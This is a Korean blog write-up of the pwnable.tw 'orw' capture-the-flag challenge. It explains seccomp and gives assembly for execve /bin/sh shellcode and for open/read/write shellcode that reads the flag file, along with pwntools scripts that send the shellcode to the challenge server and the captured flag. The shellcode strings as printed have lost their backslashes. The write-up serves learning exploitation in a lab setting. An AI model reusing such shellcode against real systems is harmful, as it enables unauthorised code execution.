[Pwnable.tw] orw

 

flag는 /home/orw/flag에 있고, 오직 open, read, write syscall만 사용할 수 있다고 한다.

ida로 까봤다. orw_seccomp 함수릀 실행시키고 Give my your shellcode를 출력한 뒤 shellcode를 입력 받는다.

orw_seccomp 함수이다. _prct1에 특정 인자 값들을 넣고 실행시키는데 정확히 어떤 목적을 위한 함수인지 모르겠다.

그래서 seccomp에 대해 알아보았다. 간단히 설명하자면 특정 시스템콜만을 허용하기 위한 보안 메커니즘인 것 같다. 그리고 그 방법이 prct1 함수를 이용하는 것이었다.

대충 문제 설명과 같이 open, read, write만 허용하기 위한 함수라고 이해하고 일단 넘어갔다.

 

이제 그 다음 부분은 문자열 하나 출력해주고 shellcode를 받아서 직접 출력해주는 부분이다.

아마도 내가 shellcode를 직접 만들어야 할 것 같다!

 

위와 같이 shellcode.c를 작성하고, gcc -o shell shellcode.c로 실행 파일 shell을 만들었다.

실행했더니 쉘을 잘 따낸 것을 확인할 수 있었다.

gdb로 어셈블리 코드를 알아냈다.

그리고 objdump로 main의 opcode를 추출해냈다. 그런데 중간중간 null byte(0x00)이 포함되있는 것이 보인다. 이건 eax를 사용해서 빈 공간이 생기기에 그렇다고 한다. 따라서 eax 대신 al을 사용해주도록 하자. (다른 레지스터 역시 마찬가지)

.global main

main:
        xor %eax, %eax
        push %eax
        push $0x68732f2f
        push $0x6e69622f

        mov %esp, %ebx
        push %eax
        mov %esp, %edx
        push %ebx
        mov %esp, %ecx

        mov $0xb, %al
        int $0x80

 

위의 코드로 shellcode.s를 생성하고, 컴파일한 후에 objdump로 opcode를 뽑아냈다.

쉘코드를 완성했다!

x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x50x89xe2x53x89xe1xb0x0bxcdx80

 

위의 쉘코드를 이용해서 exploit 코드를 짜봤다.

from pwn import *

p = remote("chall.pwnable.tw",10001)

#context.log_level = 'debug'

shellcode=b'x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x50x89xe2x53x89xe1xb0x0bxcdx80'
p.recvuntil(b':')
p.send(shellcode)

p.interactive()

 

실패했다! 아무래도 seccomp 때문에 그런 것 같다.

하지만 우리는 flag가 어디에 존재하는 지 알고, open, read, write 함수를 사용할 수 있다!

따라서 flag를 읽어서 출력해주는 shellcode를 작성하면 된다.

system call table은 위의 블로그를 참고했다.

4의 배수를 맞추기 위해서 /home/orw///flag의 hex를 구했다.

.global main

main:
        xor eax, eax
        xor ecx, ecx
        xor edx, edx

        push eax
        push 0x67616c66
        push 0x2f2f2f77
        push 0x726f2f65
        push 0x6d6f682f
        mov ebx, esp
        mov al, 0x5
        int 0x80

        mov ebx, eax
        mov ecx, esp
        mov dl, 0x64
        mov al, 0x3
        int 0x80

        push 0x1
        pop ebx
        mov ecx, esp
        mov dl, 0x64
        mov al, 0x4
        int 0x80

 

이번엔 어셈블리 코드로 위와 같이 작성해주었다. /home/orw//flag를 open하고, 0x64만큼 읽어와서 읽어온 것을 출력해주는 코드이다. 총 3번(open, write, read)의 시스템 콜이 있었고, 각각의 시스템 콜마다 레지스터에 알맞은 값을 넣어주었다.

컴파일하려고 했는데 계속 에러가 떴다! 구글링해보니 intel 문법으로 하면 에러가 뜬다고 한다.

따라서 AT&T 문법으로 수정해주었다.

.global main

main:
    xor %eax, %eax
    xor %ecx, %ecx
    xor %edx, %edx

    push %eax
    push $0x67616c66
    push $0x2f2f2f77
    push $0x726f2f65
    push $0x6d6f682f
    mov %esp, %ebx
    mov $0x5, %al
    int $0x80

    mov %eax, %ebx
    mov %esp, %ecx
    mov $0x64, %dl
    mov $0x3, %al
    int $0x80

    push $0x1
    pop %ebx
    mov %esp, %ecx
    mov $0x64, %dl
    mov $0x4, %al
    int $0x80

 

컴파일해서 objdump로 op code를 얻어냈다.

from pwn import *

p = remote("chall.pwnable.tw",10001)

#context.log_level = 'debug'

shellcode=b'x31xc0x31xc9x31xd2x50x68x66x6cx61x67x68x77x2fx2fx2fx68x65x2fx6fx72x68x2fx68x6fx6dx89xe3xb0x05xcdx80x89xc3x89xe1xb2x64xb0x03xcdx80x6ax01x5bx89xe1xb2x64xb0x04xcdx80'
p.recvuntil(b':')
p.send(shellcode)

p.interactive()

 

위 shellcode를 보내주기만 하면 끝~

🚩 FLAG{sh3llc0ding_w1th_op3n_r34d_writ3}

댓글 달기

이메일 주소는 공개되지 않습니다. 필수 필드는 *로 표시됩니다

위로 스크롤